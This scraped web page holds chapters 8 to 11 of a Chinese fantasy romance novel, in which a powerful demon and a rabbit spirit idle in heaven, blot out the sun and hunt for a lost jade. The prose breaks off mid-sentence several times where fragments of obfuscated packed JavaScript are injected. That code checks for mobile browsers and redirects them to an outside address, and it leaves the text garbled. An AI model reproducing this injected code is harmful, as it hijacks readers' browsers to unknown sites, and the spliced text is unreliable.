l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083643|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以给我送葡萄来。晨光殿刚结的,有那么大一个。” 邬辞砚好笑道:“那么大是多大。” 温兰枝道:“不知道,慕蓉姐姐是这么说的。” 邬辞砚再次把她从身上推下去,坐起来,“行吧,带你去莲花池玩。” 邬辞砚找人要了点鱼食,带着温兰枝去喂鱼,还给温兰枝做了个鱼竿,钓鱼,把左边池子里的鱼扔去右边,再把右边池子里的鱼扔到左边。 没杀生,就是给锦鲤们搬搬家。 “邬公子好。” “邬公子好。” 邬辞砚冲着两个神仙招招手,继续转过头来陪着温兰枝钓鱼。 “咱们还是别在这儿打扰邬公子的兴致了,去后面的桃花林逛逛吧。” “是啊是啊,我也正有此意。” 两个神仙声音小,但还是被温兰枝听见了。 她也小声说道:“邬公子,我也想去桃花林。” 邬辞砚又钓到一条鱼,他往后一扔——扑通!鱼落水的声音。 他收起鱼竿,道:“那走吧。” 天上的桃花四季不败,温兰枝从来没见过这么多桃花,邬辞砚指哪里,哪里的桃花就往下掉,温兰枝“哇”地一声跑过来,又“哇”地一声跑过去,转着圈圈,争取让每一片花瓣都落在身上。 玩了半个多时辰,温兰枝又觉得没趣了,想去晨光殿看看葡萄。 到了晨光殿,那两个神仙正好也在,“你们好呀!”连续遇到三次,温兰枝也认识他们了,主动打起招呼。 那两个神仙跟撞了鬼一样,嘿嘿笑着从晨光殿退了出来。 “诶,这个树上结的是什么果子啊?”温兰枝问道。 邬辞砚飞上去,摘下两个来,“不知道,尝尝。” 温兰枝咬了一口,“嗯!甜!” 邬辞砚打个响指,一个篮子出现在温兰枝怀里,“那多摘点。” 温兰枝问道:“这里的果子可以随便摘吗?” 邬辞砚道:“不知道呀,没事,摘吧。” 邬辞砚施一个法术,让温兰枝像云朵一样,飘了起来,坐到树枝上,温兰枝看着两个长得很圆润的果子,道:“邬公子,这两个都好漂亮诶!” 邬辞砚道:“哦,那都摘吧。” 温兰枝应一声,摘了下来。 两个人边说话,边摘了满满一筐。时辰也差不多了,虽然外面的天还大亮着,但按照凡间的时辰来说,该睡觉了。 邬辞砚看温兰枝打了个哈欠,跳上去,搂住人的腰把人抱下来,“走吧,回去。” 刚出晨光殿,就撞上了白旭,邬辞砚挑眉,道:“这么晚了,白旭上神还来摘果子啊?” 温兰枝打了个哈欠,不行了,她真的困到不行了,篮子都拿不稳,掉了两个果子出来。 白旭的目光顺着骨碌碌的声音往下看,脸上的笑容顷刻消失,变得苍白一片,“这这这这这这……这么多果子,两位吃得完吗?” 邬辞砚接过篮子,递到白旭面前,大方道:“上神喜欢?拿两个?” 白旭:“……” 不知道千里之外,还有多少座山头可以蹲,他很心动。 8. 8 半夜,邬辞砚被一阵翻来覆去的声音弄醒了。 温兰枝完全没有察觉,抱着邬辞砚的胳膊又翻了个身,打了个拖着尾音的哈欠,挤出两滴眼泪。 邬辞砚坐起来,温兰枝也跟着坐起来,又打了个哈欠。 邬辞砚道:“你能有什么烦恼,还失眠了?白天玩得不开心?” 温兰枝揉眼睛,道:“太亮了。”她明显不像白天那么开心,一副很委屈的样子。她不好意思抱怨,毕竟是她非要跟过来的,但是真的睡不着。 她尝试过把头蒙在被子里,太闷了,也睡不着。 邬辞砚道了一句“等着”,翻身下床,出门去了。 温兰枝又打了两个哈欠,很听话地坐在那里等着,就算已经睁不开眼睛了,也坚决不躺下。 好困啊,她艰难地爬到床边,剥了两个葡萄吃,妄图通过吃东西来提神。其实如果刚才邬辞砚不坐起来的话,她这会儿可能已经睡着了。 葡萄真好吃,再吃一个。 邬辞砚到天庭的下一层,搞了点乌云上来,遮上了森罗宫后又觉得不够,干脆把整个天庭都遮上了,保证阳光照不进来一点儿。 天黑了,还下雨了,淅淅沥沥的雨滴打下来,打在云朵上、房顶上,声音柔和,让人听之欲睡。 等他做完一切回去的时候,温兰枝已经靠在墙上睡着了。 “啧!”邬辞砚还以为回来能听到一句感谢的,他略微不满地把兔子从床上搬到地上,连带着被子褥子枕头都给她扔到地上去了,自己躺到空荡荡的床上。 过了一会儿,他又觉得没有枕头实在难受,也睡到地上去了。 温兰枝困得不行,完全醒不来,对中间发生的这些事一无所知。 她是睡安稳了,天上的神仙都被吓醒了。 他们一定是没睡醒才会听到雨声。 雨越下越大,声音越来越清晰,众神不得不出宫来看,只看到黑云压城,密不透光,远处,千百年不灭的丹炉纯火,连一点火光都看不见了,那是上一任天帝用尽前半生点燃的,此刻,熄灭了。 清早,白旭醒来,连寝衣都没来得及换,就跑到了大殿。 “我的花!我的草药!全都枯了!”白旭大喊道,等他喊完,发现大殿里已经坐满了人,“诸位怎么不说话。” “能说什么。”秦将军道,“莫说你的花,你的草药枯了,就连丹炉纯火都灭了。怎么办?能怎么办?他跟天庭早就结仇,若说不是故意为之,谁信!” 白旭怔住,半晌,反应过来,道:“丹炉纯火……灭了?” 大殿再次陷入沉默,没人接话。 “诸位!”秦将军站起来,大喊道,“难道我们就要在这里当缩头乌龟吗?但凡有点气性!现在就应该杀到森罗宫,问个清楚!不赔丹炉纯火,便将他碎尸万段!” 众人抬头,只觉得他疯了。 坐在侧边的人冷冷开口,道:“秦将军,要说他最恨谁,除了天帝应该就是你吧,当年是谁去锁妖塔冷嘲热讽的,你这一去,他正好找理由报仇,就看你们谁有本事,谁把谁碎尸万段咯。” 秦将军气急,道:“当时要把他扔锁妖塔的时候,难道你没有应和?难道你没有叫好?天帝死后,你立刻调转阵营,跑去追随他,献上厚礼!像你这样的畜生,竟也配坐在这里,和我们一同论道!当真是耻辱!耻辱!” 那人道:“秦将军若是不想和我们坐在一起,可以跳下去,做凡人。” 秦将军已是语无伦次:“你!你……你!畜生!畜生!你当真是畜生!” “好了好了,二位别吵了。”白旭讪笑着劝架道,“秦将军正义,郑霖上神说得也不无道理,邬公子吸食了锁妖塔所有怪物的法力,那锁妖塔里镇的都是什么东西,全合并到他一人身上了!我们的人数就是再多十倍也打不过他,这样,我提一个折中的法子,二位听我说说?” 两个人都转过头盯着他。 白旭感觉这两个人不像是想听他讲话的样子,倒像是想合伙弄死他出气,他清了清嗓,道:“这样,我们一起去森罗宫问问,看看到底是怎么回事,说不定是个……意外呢?他神通广大的,能把丹炉纯火再燃起来也说不定。” “慕蓉呢?怎么不见她?”秦将军好没意思地问了一嘴。 没人搭理他,慕蓉这会儿要是能在,那也是把他们打包送回各宫去,不让他们搅扰邬辞砚清梦。 郑霖起身,道:“好,那就依白旭上神的法子,去问问吧。” 众人商量好,便齐齐起身,向着森罗宫出发了。 他们还没走到门口,森罗宫的门就开了,众人顿住脚步。 邬辞砚着一袭白色的寝衣,披一件红色的外衣,那外衣明显比他身形短一截,看着像是女子的衣裳。一把悬空的伞撑在他头顶,随着他的动作移动,不让他淋到一点雨。 他打了个哈欠,道:“诸位大清早不睡觉,晨跑啊?麻烦以后绕着点森罗宫,我年龄大了,得多睡觉。” 人群异常安静,就在邬辞砚准备进去的时候,白旭上神嘿嘿笑着上前去。 他一直是神妖之间的搅屎棍,小事上吵吵架,大事上赔笑脸,所以每次一有这种交涉的事情,大家都默认推给他。 “有事啊?”邬辞砚对他印象还行,所以愿意跟他多说几句。 白旭道:“邬公子,天怎么黑了啊?” 邬辞砚道:“外面太亮了,我睡不着。” 白旭又问:“那为何又下雨了?” 邬辞砚道:“太安静了,也睡不着。” 他看白旭的脸都僵了,一挑眉,问道:“很要紧吗?” 白旭道:“是挺要紧的,这天上的很多仙草都得时时照着阳光,而且不能沾水。您要是睡醒了,能不能……把这乌云赶走。” 邬辞砚应下来,“好,睡醒了就移走。” 还挺好说话,白旭看谈判势头大好,继续道:“以后您要是睡不着,遮遮阳光也就算了,能不能别下雨了?” 邬辞砚托着下巴,很认真地思索了片刻,然后抬头,看着白旭的笑脸,笑着应道:“不行。” 为了表示自己不是诚心和天庭过不去,他还给出了理由,“万一我想喝雨水煮茶呢。我远道而来是客,诸位就主随客便吧。花草不能沾水,搬到屋里去不就行了?再说,我也住不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083644|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多久,我相信各路神仙神通广大,肯定很快就能把月华上神给我找回来的,是吧,诸位?”他探出头去看了一眼后面的大部队,都低着头,不敢言语。 白旭笑容再次僵住,他很久没有被这么明确地拒绝过了,眼看着邬辞砚要进去,他连忙又叫住,“邬公子!邬公子!” 邬辞砚不耐烦地转过头来。 白旭硬着头皮道:“天帝在时,燃了三千年的丹炉纯火,灭了。” “哦,是我疏忽。”邬辞砚做出惊异的模样。 白旭又堆起笑容,等着他拿出解决方案。 却看他唇角一勾,嘴巴一张,道:“竟让它燃到了今日。” 宫门被关上了。 白旭上神艰难地转头,看着诸神,交涉失败。 郑霖道:“你们要想让他赶紧走,不如去找月华上神,在这里纠缠,除了把他逼急,不会有任何结果的。” 邬辞砚回到宫里,鞋一扔,上了床。 “外面什么声音?”温兰枝被他压得喘不过气,翻了个身,迷迷糊糊地问道。 邬辞砚懒得解释,道:“神仙们晨跑。” “做神仙真累……”温兰枝又睡着了。 邬辞砚也好困,睡个觉被叫起来两次,下一个来吵醒他的人,绝对见不到人,只能见到刀。 这一觉睡得真舒服,温兰枝很少睡到这么晚,醒来的时候,已经中午了。 邬辞砚也已经醒了,他正穿着寝衣在煮茶呢。 外面雨停了,阳光透进来,温兰枝从床上爬下来,爬到他旁边,听着小火炉发出的呼呼声,感觉心情都变好了。 仙人们照常进来送饭,看到两个人衣衫不整的样子,连忙低下头。 没办法,坏妖怪们就是这样不成体统的。 温兰枝不爱吃仙人们的饭食,拿起旁边的果子来啃。 邬辞砚道:“不喜欢吃?” “嗯……还好吧。”温兰枝道。 邬辞砚道:“等会儿我让鹦鹉来给你送好吃的。” “可以吗?”温兰枝眼睛亮晶晶的。 邬辞砚挥挥手,大咧咧地道:“无妨,把这里当家一样就行。” 他把煮好的茶倒出来,推到温兰枝面前,“小心烫,等会儿凉了尝尝。尝尝天上的雨有什么不一样。” “有什么不一样啊?”温兰枝随口问道。 邬辞砚思索道:“大概没什么不一样?” 这团乌云是他从南方找来的,本来就是要下在凡间的雨,能有什么不一样。 正好,南方这几天天天下雨,都快发水灾了,这灾难让他给转移了,也勉强算是造福黎明吧。 “感觉天上好好玩。”温兰枝躺在地上,顿时有点不想走了,“我们还能住多久啊?” 邬辞砚道:“应该住不了多久了,我猜最晚后天,他们就会来赶我们了。” 过了一会儿,他又道:“妖界皇城也很好玩,肯定比天上好玩,到时候请你去妖界皇城玩。” “好呀好呀好呀!”温兰枝欢快道。 邬辞砚顿时感觉有人跟着也挺好的,一个人太无聊了,两个人可以一起玩。 9. 9 两个人在森罗宫快乐了一整天,第二天上午,突然听见一阵叩门声。 大概是月华上神被请回来了。 邬辞砚这么想着,打算去开门,温兰枝却快他一步爬起来,边跑边道:“慕蓉姐姐又送葡萄来了!” 门开了,果然是慕蓉,提着一篮子葡萄。 邬辞砚问道:“你怎么知道?” 温兰枝道:“昨天下午慕蓉姐姐说今天还有葡萄的。” 慕蓉笑着道:“我来喂兔子。”接着,她拍了一下温兰枝的脑袋。 这一拍,就把温兰枝打回了原形,但不疼,温兰枝躺在篮子里,正要吃,又被慕蓉抱了起来。 慕蓉抱着她走进屋里,坐下,把篮子里的葡萄拿出来,放到旁边的小桌上。接着,拿了一个葡萄,剥开,送到温兰枝嘴边。 兔子的三瓣嘴巴动起来,嚼嚼嚼,嚼嚼嚼。慕蓉又剥一个,兔子舒舒服服地躺在慕蓉怀里,四脚朝天,嚼嚼嚼,嚼嚼嚼。 邬辞砚见是她,大喇喇往后一靠,翘起腿,道:“你怎么来了?” 慕蓉理所当然地道:“喂兔子啊。” 邬辞砚道:“你喜欢,还能弄不到兔子?” 慕蓉道:“我就喜欢这只。” 邬辞砚打了个哈欠,闭上眼睛。 过了一会儿,慕蓉道:“要不我跑一趟仙山,去请月华上神吧。” 邬辞砚道:“有人心甘情愿地去,不劳你跑一趟,好不容易回天上,吃吃喝喝好好玩几天。” 慕蓉笑道:“这两天,妖界都传遍了,说你跑到天宫,仅仅因为睡不着,就毁了丹炉纯火,还毁坏了许多仙草神药,神仙把这件事传下去,本来以为能引起众怒,让你在妖界混不下去,谁想到妖怪们竟拍手叫好,还编成了戏,要在下个月演唱。” 邬辞砚睁开眼,轻笑一声,道:“说真的,我真不知道丹炉纯火还燃着,我以为六年前就熄灭了,我要是早知道,就早上来布雨了。” 他看慕蓉也笑着,问道:“你不生气?我以为你会生气的。说我以武力压人,目无法度。” “这种事情,也说不上谁对谁错,你们之间的恩怨纠缠得太久了,也许之前还能和解,现在,就只能比谁的拳头硬了。”慕蓉叹了一口气,又扬起笑容,“不说这些没意思的话,你不是让我帮你再找一个钱袋子吗?” 慕蓉从篮子底部抽出一个黑色的钱袋子,上面绣着一条白色的巨蟒,金线勾边,好看极了。 邬辞砚之前的钱袋子上绣了个兔子,他之前一直没想着换,但现在想着,给温兰枝正好。 慕蓉还不知所以,问道:“你那个旧的坏了?” 邬辞砚要去揪兔子的耳朵,被慕蓉一巴掌打开。 慕蓉道:“兔子的耳朵不能揪。” 邬辞砚“哦”一声,改揪后颈皮了。 慕蓉捏了一下兔子的小短腿,调侃道:“别的不说,你们两个颜色倒是挺相配的,都是雪白一团。” 邬辞砚把新钱袋子撑开,把兔子放进去。 正正好,还能漏出一个头。兔子的两个爪子扒在袋子上,邬辞砚给她塞进去,防止她掉出来。接着,将钱袋子系在了腰间,站起来走了几步,称赞道:“不错,也不往下掉。” 这样下次遇到危险,就不用往他衣领里钻了。 他道:“等一个月后,这个钱袋子就归你了。” 温兰枝蹬了两下腿,从钱袋子里出来了,爬到慕蓉怀里,屁股对着邬辞砚,仿佛对他颇为不满。 邬辞砚无辜地摊摊手,又坐下了。 他总觉得好像忘了什么事情。 过了一会儿,他想起来了,道:“我想起来一件事。” 慕蓉问道:“什么?” 邬辞砚道:“左副首领还在小兰兰的荷包里。” 前面那个人慕蓉知道,毕竟才过去几天,她记性不至于那么差,但是后面那个人…… 她思索片刻,问道:“小兰兰?你是说温兰枝?” 邬辞砚点头。 慕蓉:“……”好难听的称呼。 邬辞砚用脚把那堆衣服勾过来,在里面找到了那个荷包,鼓鼓囊囊的,看上去除了魂魄,还有不少钱,不过,暂时还不能放出来,他道:“没有皮囊给他。” 慕蓉道:“有灵的东西都可以作为皮囊。”她在桌子上挑了挑,拿了个桃子,递给邬辞砚,道:“就这个吧。” 慕蓉又拍了一下温兰枝的脑袋。 温兰枝变成了人形,她也想起来一件事,她的手帕。算了,等邬辞砚处理完她在说吧。 邬辞砚打开荷包,把桃子往天上一扔。 温兰枝还以为会看到一阵白光闪过,然后一个人形出现在地板上,但完全没有,桃子落到地上,转了几圈,又滚了几圈。 那桃子半天没动静,温兰枝看得没耐心,去桌子上又拿了个桃子啃。 “我这是在哪?”温兰枝刚张开嘴,手上的桃子说话了,她惊呼一声,把桃子丢到了邬辞砚的怀里,邬辞砚一掌拍过去,把桃子拍到了慕蓉那里,慕蓉也不想要,也是一掌拍开,桃子掉在地上,和刚才那个桃子并排躺在了一起。 那颗桃子连着“哎呀”三声,头晕目眩地睁开眼,站起来,他的视线很低,只能看到三双腿,一双规规矩矩地跪坐着,一双翘起来,一双伸着腿晃着脚丫。他努力抬起头,看到邬辞砚,惊得叫起来:“救命啊救命啊救命啊!” “闭嘴!”邬辞砚丢了个葡萄过去砸他。 他立刻闭嘴了,趴在地上,像是在投降。 温兰枝去扒拉邬辞砚的胳膊,小声问道:“他是不是没有法力了?” 邬辞砚道:“有一点。” 温兰枝又问:“那可以吃了他吗?” 邬辞砚声音洪亮,道:“当然可以,如果你吃得下去的话。” “别吃我别吃我别吃我!”左副首领连忙道,“邬公子你想干什么都行,我可以追随你!为你赴汤蹈火在所不辞!只要您留我一条命。” 邬辞砚像是听到了极大的笑话,笑道:“我要一颗桃子追随我干什么?” “邬公子。”一个仙人进来,“白旭上神来了,在外面叩门呢。” 邬辞砚起身,道了句“好”,又对着那颗桃子做了个噤声的手势。 门开了,白旭捧着一个卷轴。 邬辞砚挑眉,等着他开口。 白旭道:“邬公子,我们去找了月华上神,月华上神确实是有要务在身,回不来,但是,我们帮您打听到了锦玉的消息。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083645|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白旭一抬头,脸上挂了彩,左边眼睛周围都是青色的。 “白旭上神和谁打架去了?”邬辞砚故作关心地道。 还能是谁,你心心念念的月华上神。带着一群人去破了人家的结界,被人家当成绑架打出来了,用了将近一整晚才说明白缘由。这不,一大早,他就带着月华上神的亲笔赶回来了,都没来得及回宫里换衣服。 不过这事太不光彩了,白旭不打算说,他道:“不小心磕了一下,不劳邬公子费心。” 邬辞砚接过卷轴,白旭道:“月华上神说,他并非故意藏匿宝物,实在是事出有因,当时,他在凡间的义子——就是那个沁安山紫铜洞的洞主,当时紫铜洞所有的修仙之人全都失去了一大段记忆,洞主就向月华上神借去了锦玉。但是不知道如何使用,再加上当时全体失忆大约是中了邪术,锦玉并不能解邪术,故而没什么用。如今紫铜洞没落了,但锦玉还在他那儿。” 白旭真怕邬辞砚让他们这些神仙去把锦玉找回来,连忙又加了一句:“月华上神很久不跟洞主联系了,刚刚飞书过去,也不知道能不能传到本人手里。虽然洞主是月华上神的义子,有仙缘,但……” “但毕竟是妖怪,你们神仙过去有损名誉,到时候天下万民都要怀疑神仙和妖怪为伍——”邬辞砚打断他,阴阳怪气地补充道。 他搔了搔耳朵,道:“行了,知道了,我自己去。”说完,关上门。 白旭松了好大一口气,总算是把这个妖怪送走了。 邬辞砚回来,把白旭刚才的话重复了一遍,将卷轴摊在桌上。 慕蓉道:“沁安山紫铜洞?那是个什么地方?” 邬辞砚道:“要说紫铜洞,我……” “我知道!我知道!”那个桃子蹦蹦跳跳地过来,打断了邬辞砚,“公子,我知道紫铜洞在哪,我之前帮我们大王去给紫铜洞洞主送过东西,我能给你们带路!” 邬辞砚指了指卷轴,“不用,这上面标得很清楚。” “公子,公子!我知道一点内情!”桃子连忙道,好像生怕被人抢功了一样。 温兰枝看他跳得费劲,揪着他的叶子给他放到桌子上。 左副首领道:“公子,我知道的这个东西卷轴上绝对没有。” “哦?”邬辞砚饶有兴趣,“说来听听?” 左副首领道:“那个紫铜洞洞主其实是个女的,是月华上神的相好!月华上神勾搭了人家,不想负责,但又搞大了人家的肚子。这对人家妖精没什么,能坐到这个位置的妖精,哪个不是左拥右抱的,多个孩子,又不是养不起。但对月华上神可不一样了!人家月华上神可是神仙!高等人!啧啧啧没办法了,这才收作义子,给人家点好处,让人家闭嘴。是义子不是义女,就是心虚,怕大家怀疑,所以把人家包装成男的。那月华上神其实就是个结结实实的大混蛋!伪君子!” 他翘起叶子,说得滔滔不绝,他知道,邬辞砚最讨厌这些神仙了,让他知道了神仙的把柄,肯定跟得了仙丹一样。 他这么想着,笑出了声,“邬公子,只要我们抓住那个妖怪,就能……” 邬辞砚蹙眉,一巴掌把他呼下了桌子,“净说些没用的。” 他不想听神仙有多龌龊,他只想知道锦玉在哪。 10. 10 几人商量了一番——准确地说只有两个人在商量,另外两个人在门口晒太阳。 不过无所谓啦,反正最后商量出来的结果是,先找个人去沁安山那边打探消息,如果不算危险的话,就带着温兰枝一起,危险的话就先把温兰枝丢到天上,和那个桃子一起。 温兰枝看着旁边的桃子一直在深吸气,好奇地问道:“你在干什么?” 桃子道:“吸收天地精华。” 温兰枝“哇”一声,“深呼吸就可以了吗?” 桃子虽然没有眼睛,但还是瞪了她一下,道:“……我在打坐你看不出来吗?” 温兰枝愣愣地看着他。 好吧,他现在也没腿,谁能看出来他在干什么,更别说还是一只蠢兔子,罢了罢了,不怪她。实在是他点儿太背,从前好歹还是个副首领,是个修炼成形的妖怪。现在!现在!现在竟然沦落成了一颗只会说话的桃子…… 温兰枝又问:“为什么要吸收天地精华啊?” 桃子道:“为了化为人形。”以后做个桃子精……也不错? 温兰枝学着他的样子,盘腿而坐,深吸——深呼——深吸——深呼—— 桃子:“……”他不是很想和这个兔子坐在一起,显得自己也很没有水平。 门被叩响,温兰枝欢快地跑过去开。 这个点儿,只能是鹦鹉来送好吃的了。 果然是,鹦鹉提着食盒,像平时一样跟她打招呼。 送了几天饭,温兰枝跟他也算是熟了,帮他拎起一个食盒,小跑着回去。 “哎哎哎哎哎!”桃子看她越跑越快,在那只大脚就快飙到自己脸上的时候,飞速闪开,叶子擦着温兰枝的鞋过去了,差点被踩掉。 “对不起。”温兰枝道了一句,进去了。 跟着这个家伙不止拉低水平,还容易死。 太吓妖怪了,太吓妖怪了! 鹦鹉来得正巧,他刚进门,就听到邬辞砚道:“我有事让你去办。” 鹦鹉放下食盒,行了个礼,道:“只要是公子让我去办的,我一定办得妥妥帖帖。” 邬辞砚问道:“你叫什么?” 鹦鹉道:“我是鹉十六!” “五十六?”邬辞砚怔住,随后道,“那鹦鹉都生到第十四代了?” 这繁殖能力太快了。再过几年,他要成鹦鹉养殖大户了。之前就觉得他生得快,说好每代只准生四个,怎么还这么快? 鹉十六连忙解释道:“我是十六,之前是叫十六的,但是前几天,老祖宗说我们的名字太难听了,应该有个姓,不然别人怎么知道我们是老祖宗家的人,所以就在名字前面加了个‘鹉’字。我爹是鹉十二!我是鹉十六,第五代第五代,嘿嘿……” “哈哈哈哈哈哈哈!”温兰枝看着旁边捂着肚子的慕蓉,突然反应过来,也跟着笑。 慕蓉止不住抖动的肩膀,道:“说真的,那鹉老一挺靠谱的,就是子孙多了点,他子孙也挺靠谱的,这不正给你办事的嘛。” 妖怪们一向自由自在惯了,有时候感情上来了,就联络一下,联络出孩子了也没什么,妖怪的孩子好养活,两个人将就将就把孩子养到能跑能跳,就可以琢磨要不要散伙了。 按理说,孩子怎么样以后就跟父母没关系了,毕竟当时生的时候纯粹是个意外,谁也不指望孩子有啥大出息,能荣归故里,也愿意让父母跟着一起享福,那当然好啊,不行就算了,谁也不抱什么大期望。 但人家鹉老一不行,当年,就是这屯儿里数一数二的妖怪,子孙不能丢了他这个当爷的面儿!所以都得跟在他身边。 当年邬辞砚和鹉老一认识的时候,也没把人家当下属,喝上头了还答应帮他养养孩子,结果忘了妖怪一窝能生好几个这回事了,酿成大祸,为时已晚。 其实邬辞砚也不管人家每代生几个,他哪有空天天盯着这个啊。他就是随口一说,鹦鹉要生他不管,也管不着,但要是非得送到他手底下做事,那他每代只收四个,收够十六个以后,上面就得退下来四个,否则他收收收,收到破产。 邬辞砚轻咳一声,没有催促,静静等着温兰枝笑够了,才开口说正事,道:“让你爹和你叔或者你姑……随便哪个叔哪个姑,去趟沁安山,打探一下紫铜洞洞主的消息,快去快回,明日太阳下山之前回来禀报。” “是!”鹉十六收起笑容,严肃道。 邬辞砚道:“再去把左副首领的皮囊找回来——”他拉长尾音,声音洪亮。 门口的桃子受宠若惊,跳起来,跳猛了,摔到了台阶下面。 邬辞砚道:“如果皮囊破损的话,给修修。” 鹉十六应一声,下去干活了。 晚上,慕蓉已经回去了,温兰枝也打起了瞌睡,但她还不是很想睡,就趴在桌子上,用两根手指撑着眼睛。 邬辞砚道:“你干嘛?” 温兰枝道:“那你干嘛?为什么不去睡觉?” 邬辞砚道:“你睡你的,你管我干嘛。” “不对。”温兰枝一本正经地道,“你让我自己去睡,你肯定有事!” “哎呦喂——”邬辞砚欣慰道,“你今天怎么这么聪明!” 温兰枝很受用,堆起笑脸,道:“真有事?” 邬辞砚点头,道:“有事,但跟你有什么关系?” 温兰枝正要表达不满,一只鹦鹉突然出现在了身旁。 “哦!”温兰枝吓了一跳,看清楚是头上戴着彩色冠的人后,放松了警惕,她总结出了规律,邬辞砚的鹦鹉,全都戴彩色冠。 这个人好帅啊,不同于邬辞砚肤白貌美的英俊,这个人,就好像征战沙场的将军,晒得黑黑的,脸上有伤疤,但一点不影响美观,反而更添刚烈之气。他没有邬辞砚高大,但肌肉比邬辞砚大块。 这真的是鹦鹉吗?这是老虎吧。 温兰枝舔了一下嘴唇。 突然,她的眼睛被蒙住了。 “嗯?”温兰枝歪头。 邬辞砚凑在她的耳边,道:“鹦鹉的眼睛不能看。” “为什么啊?”温兰枝问道。 邬辞砚一边扶着她起来,往里屋走,一边道:“因为鹦鹉很凶残的,一不高兴,就会把兔子的头咬下来,你也不想被咬下来头,对吧?” “哦——”温兰枝似懂非懂地点点头,然后去扒拉邬辞砚的手,她看不见路了! 邬辞砚没有一点要把手放下来的意思,直接把她扶到床上,躺下,“所以你,乖乖睡觉,不要惊动鹦鹉,不要让他咬下你的耳朵……” “不是头吗?”温兰枝疑惑道。 邬辞砚顿住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083646|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“头都没了,还能有耳朵吗?” 温兰枝“哦”了一声。 鹉十二:“……”哇哦~ 送走了温兰枝,邬辞砚回来,准备和鹉十二谈正事。 他刚坐下,水还没喝上呢,就听见掀开被子的声音,接着是脚步声。 温兰枝又跑回来了,自然而然地坐到两个人旁边。 邬辞砚道:“干嘛?” 温兰枝道:“我想听。” 邬辞砚无奈道:“那听吧。鹉十二,说。” 据鹉十二所说,沁安山山上风景秀美,树木丛生,山好、水好,最好的是,月华上神也在,说是要把那个不成器的义子找出来,让他交出锦玉。既然锦玉是月华上神的义子拿的,那月华上神出马,当然好办! 邬辞砚可不这么觉得,月华上神之前躲他都躲到寒冷彻骨的仙山去了,那什么什么纯火都灭了也没说回来祭拜一下,结果突然,就跑到沁安山去了,还说要帮他。 温兰枝道:“他是不是为了杀人灭口啊?” 这是邬辞砚今晚最惊讶的事情,“你怎么这么聪明呢!竟然能想到这里!” 温兰枝冲着他笑了笑,高兴得翘起脚尖。 鹉十二不知内情,疑惑地看向温兰枝。 看两个人都没有要解释的意思,鹉十二继续讲了下去,“我们两个人不放心,总觉得月华上神此行古怪,就提出要留一个人和他待在一起,这样如果出了事情好照应。他原本是不同意的,但是被我们拖得没有办法(哦!补一句,他好像很着急),他说不想再耽误时间,他在仙山还有很重要的事情,希望能赶快找到锦玉,在我们回来通报您的这段时间,他跟鹉十先去找锦玉,等您过去,锦玉可能就找到了。” 殿内安静下来,只听到邬辞砚的两个指关节慢悠悠地敲击着桌子。 他侧过身,碰了一下温兰枝的手肘,“你怎么想?” “啊?”温兰枝惊讶,竟然会问她的意见吗? 她真的认真思考起来,“嗯……他肯定不安好心!” 邬辞砚忍俊不禁,“嗯,真聪明。” 他道:“你觉得,她为什么看上去很着急?” 温兰枝道:“因为想杀人灭口吗?” 邬辞砚道:“应该是吧,但是,现在他还能杀吗?” 温兰枝道:“不能,因为有人看着。” 邬辞砚摸了一下她的脑袋,“那他应该去干什么呢?” 温兰枝侧着脑袋,思考了好一会儿,“找锦玉?” “诶!大概是了!然后呢?”邬辞砚发现,她虽然缺了一部分神识,但并没有影响脑子,只是影响了反应速度,很多事情,你刚跟她说的时候,她没有反应,但是你多跟她说一说,耐心一点,她就能自己懂了。 有些人天生就神识不全,也不是什么特别大的问题,无非是以后干脑力活还是体力活的问题。不过也是可以通过后天引导的,就是上限比普通人低。 如果兔子现在有本事把脑子提到和普通人一样,那等以后补全了神识,肯定是进步飞快,传出去,那就是天才! 邬辞砚喜上眉梢,看她停住不说话了,继续追问道:“但是他既然已经不能杀人灭口了,为什么还要帮我找锦玉呢?你觉得,他想干什么?” 很简单,想想。 11. 11 温兰枝想不出来,但是感觉直接说的话会显得自己很蠢,干脆就直接趴在桌子上,睡觉了。 邬辞砚无可奈何,把她拖到床上去了。 鹉十二说没找到左副首领原先的皮囊,大概是被那个狐妖埋了吧,就另给他找了一具皮囊,让他先将就着。 是个白发老者的皮囊,看这个皮囊的磨损程度,这老人大概是寿终正寝,是鹉十二在乱葬岗专门挑的,他觉得用这个没什么心理负担。 邬辞砚第二天早上起来说要把左副首领送回他原先的地方,和那个狐狸一起,结果左副首领说什么都不乐意,非说他这么回去肯定会被当成叛徒,还是想跟着邬辞砚。 